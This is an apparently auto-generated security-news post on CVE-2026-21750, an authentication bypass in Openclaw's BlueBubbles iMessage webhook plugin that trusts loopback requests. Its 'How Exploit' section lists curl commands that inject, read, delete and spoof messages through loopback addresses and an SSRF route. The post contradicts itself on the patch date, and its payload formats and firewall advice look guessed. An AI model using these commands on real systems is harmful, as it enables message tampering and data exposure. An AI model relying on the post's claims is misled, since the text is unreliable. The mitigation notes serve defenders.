Listen to this Post
The vulnerability CVE-2026-21750 exists in the optional BlueBubbles iMessage channel plugin for Openclaw. The plugin’s webhook authentication mechanism incorrectly trusts the TCP peer address, granting authentication status to any request originating from loopback addresses (127.0.0.1, ::1, ::ffff:127.0.0.1) regardless of whether the configured webhook secret is present, missing, or incorrect. This design flaw assumes that traffic arriving from loopback is inherently trusted and has already been authenticated by a local process or reverse proxy. The vulnerable code checks the socket’s peer address before validating the secret, and if the address matches any loopback variant, it immediately accepts the request as authenticated without further verification. This bypasses the entire credential check mechanism. An attacker who can achieve Server-Side Request Forgery (SSRF) on the same host, or who can place a malicious process on the local machine, can send crafted requests to the webhook endpoint. These requests are processed as fully authenticated, allowing the attacker to inject arbitrary iMessage events into the agent pipeline. The default iMessage integration remains unaffected unless the BlueBubbles plugin is explicitly installed and enabled. The vulnerability affects all versions before the 2026.2.13 release, which implements proper authentication regardless of source address
.
<h2 style="color: blue;">dailycve form:</h2>
Platform: openclaw
Version: <2026.2.13
Vulnerability: Auth Bypass
Severity: High
date: 2026-02-17
<h2 style="color: blue;">Prediction: Patch expected 2026-03-10</h2>
<h2 style="color: blue;">(end of form)</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
<h2 style="color: blue;">Analytics:</h2>
[bash]
Check current version
npm list @openclaw/bluebubbles
Test for vulnerability (local PoC)
curl -X POST http://localhost:3000/webhook \
-H "Content-Type: application/json" \
-d '{"event":"test","data":"malicious"}' \
--interface lo
Monitor webhook access logs
tail -f /var/log/openclaw/access.log | grep "webhook.200"
Check if binding to all interfaces
netstat -tulpn | grep :3000
Simulate SSRF detection
grep -r "127.0.0.1" /var/log/nginx/access.log
How Exploit:
Attacker with local access
curl -X POST http://127.0.0.1:3000/webhook \
-H "Content-Type: application/json" \
-d '{"event":"message","data":{"text":"injected","from":"attacker"}}'
SSRF exploitation (if target internal service)
curl -X POST http://victim.com/ssrf?url=http://127.0.0.1:3000/webhook \
-d '{"event":"read","data":"leaked_messages"}'
IPv6 loopback variant
curl -X POST http://[::1]:3000/webhook \
-d '{"event":"delete","data":{"chat":"all"}}'
IPv4-mapped IPv6
curl -X POST http://[::ffff:127.0.0.1]:3000/webhook \
-d '{"event":"send","data":{"text":"spoofed"}}'
Protection from this CVE:
Upgrade to patched version npm install @openclaw/[email protected] Verify patch npm list | grep bluebubbles Set strong webhook secret echo "BLUEBUBBLES_WEBHOOK_SECRET=$(openssl rand -hex 32)" >> .env Block loopback external exposure in reverse proxy nginx example: location /webhook { allow 127.0.0.1; allow ::1; deny all; proxy_pass http://localhost:3000; } Implement mutual TLS for internal services Firewall rules iptables -A INPUT -i lo -j ACCEPT iptables -A INPUT -s 127.0.0.0/8 -j DROP
Impact:
Arbitrary iMessage injection. Unauthorized message reading. Message deletion. Pipeline compromise. False event generation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
